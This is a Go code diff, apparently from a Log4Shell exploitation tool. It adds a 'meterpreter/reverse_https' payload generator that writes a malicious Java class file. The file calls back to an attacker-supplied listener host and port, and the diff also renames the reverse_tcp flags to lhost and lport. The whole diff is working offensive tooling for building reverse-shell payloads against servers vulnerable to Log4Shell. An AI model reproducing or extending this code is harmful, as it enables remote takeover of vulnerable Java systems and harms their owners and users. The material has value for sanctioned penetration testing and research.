@@ -144,8 +144,10 @@ func generateClass() {
144144 generateSystem ()
145145 case "reverse_tcp" :
146146 generateReverseTCP ()
147+ case "reverse_https" :
148+ generateReverseHTTPS ()
147149 default :
148- fmt .Println ("supported Java class template: execute, system, reverse_tcp" )
150+ fmt .Println ("supported Java class template: execute, system, reverse_tcp, reverse_https " )
149151 fmt .Println ()
150152 log .Fatalf ("[error] unknown Java class template name: \" %s\" \n " , genClass )
151153 }
@@ -220,8 +222,8 @@ func generateReverseTCP() {
220222 host string
221223 port uint
222224 )
223- args .StringVar (& host , "host " , "" , "listener host" )
224- args .UintVar (& port , "port " , 4444 , "listener port" )
225+ args .StringVar (& host , "lhost " , "" , "listener host" )
226+ args .UintVar (& port , "lport " , 4444 , "listener port" )
225227 _ = args .Parse (log4shell .CommandLineToArgs (genArgs ))
226228
227229 if host == "" {
@@ -245,6 +247,45 @@ func generateReverseTCP() {
245247 checkError (err )
246248}
247249
250+ func generateReverseHTTPS () {
251+ template , err := os .ReadFile ("template/ReverseHTTPS.class" )
252+ checkError (err )
253+
254+ args := flag .NewFlagSet ("meterpreter/reverse_https" , flag .ExitOnError )
255+ args .SetOutput (os .Stdout )
256+ var (
257+ host string
258+ port uint
259+ uri string
260+ ua string
261+ )
262+ args .StringVar (& host , "lhost" , "" , "listener host" )
263+ args .UintVar (& port , "lport" , 8443 , "listener port" )
264+ args .StringVar (& uri , "luri" , "" , "http path" )
265+ args .StringVar (& ua , "ua" , "" , "user agent" )
266+ _ = args .Parse (log4shell .CommandLineToArgs (genArgs ))
267+
268+ if host == "" {
269+ args .PrintDefaults ()
270+ os .Exit (2 )
271+ }
272+ if port > 65535 {
273+ fmt .Println ("[error]" , "invalid port:" , port )
274+ os .Exit (2 )
275+ }
276+ if gnClass == "" {
277+ gnClass = "ReverseHTTPS"
278+ }
279+ if genOut == "" {
280+ genOut = filepath .Join (config .PayloadDir , gnClass + ".class" )
281+ }
282+
283+ data , err := log4shell .GenerateReverseHTTPS (template , host , uint16 (port ), uri , ua , "" , gnClass )
284+ checkError (err )
285+ err = os .WriteFile (genOut , data , 0600 )
286+ checkError (err )
287+ }
288+
248289func checkError (err error ) {
249290 if err != nil {
250291 log .Fatalln ("[error]" , err )
0 commit comments